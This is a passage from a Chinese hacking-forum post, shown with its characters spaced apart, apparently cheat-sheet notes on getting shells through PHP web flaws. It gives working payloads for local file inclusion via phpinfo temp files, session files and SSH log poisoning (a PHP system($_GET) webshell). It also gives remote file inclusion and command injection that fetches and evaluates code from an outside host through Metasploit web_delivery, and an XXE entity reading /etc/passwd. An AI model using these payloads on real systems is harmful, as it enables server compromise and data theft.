6 ， w i n d o w s 需 要 长 于 2 5 6 ) 点 号 截 断 ： / b o o t . i n i / … … … [ … ] … … … … ( p h p 版 本 小 于 5 . 2 . 8 ( ? ) 可 以 成 功 ， 只 适 用 w i n d o w s ， 点 号 需 要 长 于 2 5 6 ) 利 用 临 时 文 件 删 除 时 间 差 获 取 s h e l l 需 要 一 个 l f i 漏 洞 + p h p i n f o 页 面 在 / t m p / 目 录 下 生 成 个 密 码 为 f 的 一 句 话 木 马 修 改 脚 本 的 p h p i n f o 文 件 名 称
s e s s i o n   +   l f i   g e t s h e l l L F I   S S H   L o g R F I & 命 令 注 入 上 线 命 令 注 入 上 线 M S F X M L X M L 注 入 修 改 脚 本 的 p h p i n f o 文 件 名 称 L F I 文 件 执 行 > p y t h o n   g e t s h e l l . p y   1 9 2 . 1 6 8 . 0 . 1 0 8   8 0   1 0 0 8 0 是 端 口 、 1 0 0 是 线 程 h t t p : / / 1 9 2 . 1 6 8 . 0 . 1 1 0 / i n d e x . p h p ? f i l e = . . / . . / . . / t m p / g & f = e c h o % 2 0 % 2 7 1 % 2 7 s e s s i o n . u p l o a d _ p r o g r e s s . e n a b l e d 启 用 时 ， 文 件 上 传 会 产 生 进 度 文 件 / v a r / l i b / p h p 5 / s e s s _ / v a r / l i b / p h p / s e s s _ > s s h   ' < ? p h p   s y s t e m ( $ _ G E T [ ' c ' ] ) ;   ? > ' @ 1 9 2 . 1 6 8 . 0 . 1 0 7 > h t t p : / / 1 9 2 . 1 6 8 . 0 . 1 0 7 / l f i . p h p ? f i l e = / v a r / l o g / a u t h . l o g & c = l s M S F 生 成 # u s e   e x p l o i t / m u l t i / s c r i p t / w e b _ d e l i v e r y # s e t   t a r g e t   P H P 注 入 点 注 入 ： p h p   - d   a l l o w _ u r l _ f o p e n = t r u e   - r   " e v a l ( f i l e _ g e t _ c o n t e n t s ( ' h t t p : / / 1 9 2 . 1 6 8 . 0 . 1 0 7 : 1 2 3 4 / O g s O F a j 3 y K H ' ) ) ; " R F I ： h t t p : / / w w w . x x . c o m / f i l e = h t t p : / / 1 9 2 . 1 6 8 . 0 . 1 0 7 : 1 2 3 4 / O g s O F a j 3 y K H X M L 设 计 的 宗 旨 是 传 输 数 据 ， 而 非 显 示 数 据 X X E = X M L 外 部 实 体 注 入 、 X M L = 可 扩 展 标 记 语 言 X m l 文 件 声 明 < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " U T F - 8 "   s t a n d a l o n e = " y e s " ? > D T D 为 X M L 的 文 档 类 型 定 义 引 入 外 部 D T D < ! D O C T Y P E   根 元 素   S Y S T E M   " f i l e n a m e " > 参 数 实 体 + 外 部 实 体 < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " u t f - 8 " ? > < ! D O C T Y P E   t e s t   [     < ! E N T I T Y   %   f i l e   S Y S T E M   " f i l e : / / / e t c / p a s s w d " >     % f i l e ; ] > 闭 合 标 签 ， 改 写 x m l 文 件 ， 用 户 可 控 ， 有 拼 接 代 码 < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " u t f - 8 " ? > < m a n a g e r >     < a d m i n   i d = " 1 " > < u s e r n a m e > a d m i n < / u s e r n a m e > < p a s s w o r d > a d m i n < / p a s s w o r d > < / a d m i n > < a d m i n   i d = " 2 " > < u s e r n a m e > r o o t < / u s e r n a m e > < p a s s w o r d > r o o t < / p a s s w o r d > < / a d m i n >
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理